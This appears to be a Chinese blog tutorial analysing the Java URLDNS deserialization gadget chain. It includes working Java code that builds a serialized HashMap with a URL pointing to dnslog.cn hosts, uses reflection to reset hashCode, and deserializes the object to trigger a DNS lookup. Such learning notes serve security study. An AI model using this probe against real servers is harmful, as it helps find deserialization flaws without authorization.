Java-URLDNS链分析

URLDNS链分析

这个链子算是学习java发序列化最简单的一条利用链了吧,刚开始学分析了很久,入口点是HashMap,至于为什么选择HasMap是因为Java在反序列化的时候会调用相应的readObject方法,我们可以跟进HashMap看一下,这里我还是在原来代码的基础上进行的测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.*;
import java.net.URL;
import java.sql.SQLOutput;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;

public class serializeTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("dns.bin"));
objectOutputStream.writeObject(obj);
}

public static void main(String[] args) throws Exception {
Presion p = new Presion();
HashMap<URL,Integer> map = new HashMap<URL,Integer>();

URL url = new URL("http://88meba.dnslog.cn");
map.put(url,1);//不是-1就可以
serialize(map);
}
}

刚开始我是这样写的直接实例化了一个URL,然后进行序列化,dns也是接受到请求了,不过到最后验证的时候发现接收的是在序列化的时候的请求。

思考为什么会产生这个问题,然后下面就是关于这个想了解原理的想法去调试的这个URLDNS链,百度了一圈之后发了解到在进行到了map.put(url,1);的时候HashMap为了保持我们穿的这个键值对唯一已经调用了Hash(key)

接着跟进发现在这里调用了hashCode

正好就会走到URL的hashCode里面

再接着就走进了URLStreamHander下的hashCode

getProtocol()方法是获取协议的名称,跟进方法可以看到

然后跟进到getHostAddress()方法,看到会调用geHost() 和 getByName()两个方法

相关的jdk文档中的介绍

该方法会使用远程请求,进行获取主机的ip,那么这时候就会触发一次请求,到了这里我们的dnslog平台,就可以收到响应了。这就是这个URLDNS链的一个触发点。然后查看dns平台发现接受到了请求。

不过这是我们进行序列化的时候的操作,并没有进行反序列化,但是这时候已经发送了请求,而且导致最后我们反序列化的时候接受不到请求。还有一个点是在调用URL的hashCode时,因为找利用链就像在php找利用链的时候一样,首先肯定是要找相同名称相同类型的去调用,实例化一个url对象的时候调用的就是URL,跟进URL去看下,发现是实现了序列化接口,是可以序列化的。所以可以调用URL里的hashCode去实现。

解决在序列化的时候就发起请求的方法:

1.在序列化之前不要发起请求

2.在put之后把hashCode改为-1,让其能够进行反序列化。具体原因如下代码

接下来实现讲序列化的一个属性改为-1就需要利用到反射机制了。最终利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.*;
import java.net.URL;
import java.sql.SQLOutput;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;

public class serializeTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("dns.bin"));
objectOutputStream.writeObject(obj);
}

public static void main(String[] args) throws Exception {
Presion p = new Presion();
HashMap<URL,Integer> map = new HashMap<URL,Integer>();

URL url = new URL("http://gl99zl.dnslog.cn");
Class c = url.getClass();
Field hashcode = c.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,1234);
map.put(url,1);
// hashcode.set(url,-1);
serialize(map);



}
}

首先执行下这个序列化代码,查看序列化时是否还能再收到请求,就不再调试了。

已经收不到了,然后再反序列化之前需要将hashCode改为-1;也就是将上面代码中的注释部分修改即可,然后进行反序列化

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.*;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.IOException;



public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassCastException, ClassNotFoundException {
ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;

}

public static void main(String[] args) throws Exception{
unserialize("dns.bin");
}
}

成功接收。

调用链就是

1
2
3
4
HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName